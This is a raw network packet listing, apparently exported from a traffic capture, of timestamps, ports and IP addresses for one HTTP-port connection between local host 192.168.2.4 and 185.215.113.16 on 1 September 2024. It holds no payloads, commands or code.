Sep 1, 2024 02:48:04.994194984 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.994697094 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.994713068 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.994723082 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.994733095 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.994745970 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.994750977 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.994760036 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.994764090 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.994771957 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.994786978 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.994812965 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.995069981 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.995079041 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.995089054 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.995119095 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.995127916 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.995166063 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.995177031 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.995186090 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.995196104 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:04.995210886 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:04.995237112 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.018404007 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.018450022 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.018459082 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.018460035 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.018482924 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.018491983 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.018548965 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.018558025 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.018568039 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.018593073 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.018600941 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.018611908 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.018615007 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.018626928 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.018640041 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.018651962 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.018667936 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.018671989 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.018682957 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.018699884 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.018702984 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.018709898 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.018714905 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.018724918 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.018734932 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.018735886 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.018743038 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.018752098 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.018760920 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.018762112 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.018770933 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.018780947 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.018790007 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.018790007 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.018815041 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.018830061 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.018831968 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.018851042 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.018866062 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.018884897 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.018970013 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.018978119 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.018986940 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.018996000 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.019005060 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.019015074 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.019016027 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.019032955 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.019057035 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.019093990 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.019104958 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.019115925 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.019129038 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.019136906 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.019143105 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.019148111 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.019155025 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.019179106 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.019200087 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.019234896 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.019244909 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.019284010 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.019292116 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.019301891 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.019311905 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.019320965 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.019332886 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.019344091 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.019346952 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.019366026 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.019387007 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.019525051 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.019534111 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.019542933 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.019551992 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.019565105 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.019567966 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.019578934 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.019587040 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.019593000 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.019598961 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.019608974 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.019617081 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.019619942 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.019639969 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.019651890 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.019666910 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.019673109 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.019705057 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.019731998 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.019742966 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.019752026 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.019778013 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.019804001 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.019843102 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.019855976 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.019865036 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.019875050 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.019884109 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.019890070 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.019916058 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.019920111 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.019961119 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.019964933 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.019974947 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.019984007 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.020001888 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.020011902 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.020011902 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.020034075 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.020051956 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.020075083 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.020733118 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.020766973 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.020776033 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.020776987 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.020809889 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.020819902 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.020845890 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.020855904 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.020864964 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.020874023 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.020884037 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.020893097 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.020915985 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.020931005 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.021979094 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.021987915 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.021996975 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.022002935 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.022013903 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.022021055 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.022023916 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.022034883 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.022038937 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.022044897 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.022067070 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.022077084 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.080039978 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.080050945 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.080056906 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.080087900 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.080092907 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.080099106 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.080102921 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.080127001 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.080284119 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.080456972 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.080507040 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.080530882 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.080539942 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.080574989 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.080584049 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.080594063 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.080604076 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.080614090 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.080622911 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.080635071 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.080641985 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.080665112 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.080676079 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.080696106 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.080704927 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.080713987 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.080733061 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.080745935 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.080755949 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.080765963 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.080775023 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.080792904 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.080817938 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.080919981 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.080964088 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.081314087 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.081357956 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.081363916 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.081377029 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.081394911 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.081403971 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.081407070 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.081414938 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.081430912 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.081435919 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.081438065 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.081459999 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.081480026 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.081669092 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.081685066 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.081693888 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.081710100 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.081715107 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.081722021 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.081722021 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.081732035 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.081743956 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.081770897 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.081799030 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.081808090 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.081816912 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.081840038 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.081855059 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.105308056 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.105318069 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.105333090 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.105340958 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.105350018 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.105462074 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.105472088 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.105479956 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.105479956 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.105489016 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.105499029 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.105525017 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.105540037 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.105622053 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.105632067 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.105642080 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.105652094 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.105659962 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.105673075 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.105679035 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.105683088 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.105709076 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.105731010 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.105782986 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.105792999 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.105833054 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.105930090 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.105941057 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.105950117 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.105958939 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.105968952 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.105977058 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.105978966 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.106000900 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.106010914 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.106211901 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.106221914 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.106226921 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.106261015 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.106287003 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.106368065 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.106379032 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.106388092 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.106396914 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.106406927 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.106411934 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.106437922 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.106460094 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.106511116 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.106529951 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.106545925 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.106554985 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.106559992 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.106568098 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.106573105 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.106585979 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.106595993 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.106596947 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.106605053 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.106615067 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.106623888 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.106626034 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.106635094 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.106643915 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.106648922 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.106653929 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.106669903 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.106672049 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.106683016 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.106689930 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.106693029 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.106709957 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.106709003 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.106725931 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.106733084 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.106735945 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.106744051 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.106745958 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.106751919 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.106761932 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.106771946 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.106772900 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.106782913 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.106791973 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.106801987 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.106805086 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.106812000 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.106821060 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.106822968 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.106834888 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.106843948 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.106846094 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.106867075 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.106878042 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.106904030 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.106914997 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.106937885 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.106945038 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.106955051 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.106960058 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.106965065 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.106975079 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.106980085 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.106997013 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.107000113 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.107008934 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.107022047 CEST	49731	80	192.168.2.4	185.215.113.16
Sep 1, 2024 02:48:05.107038021 CEST	80	49731	185.215.113.16	192.168.2.4
Sep 1, 2024 02:48:05.107053995 CEST	49731	80	192.168.2.4	185.215.113.16
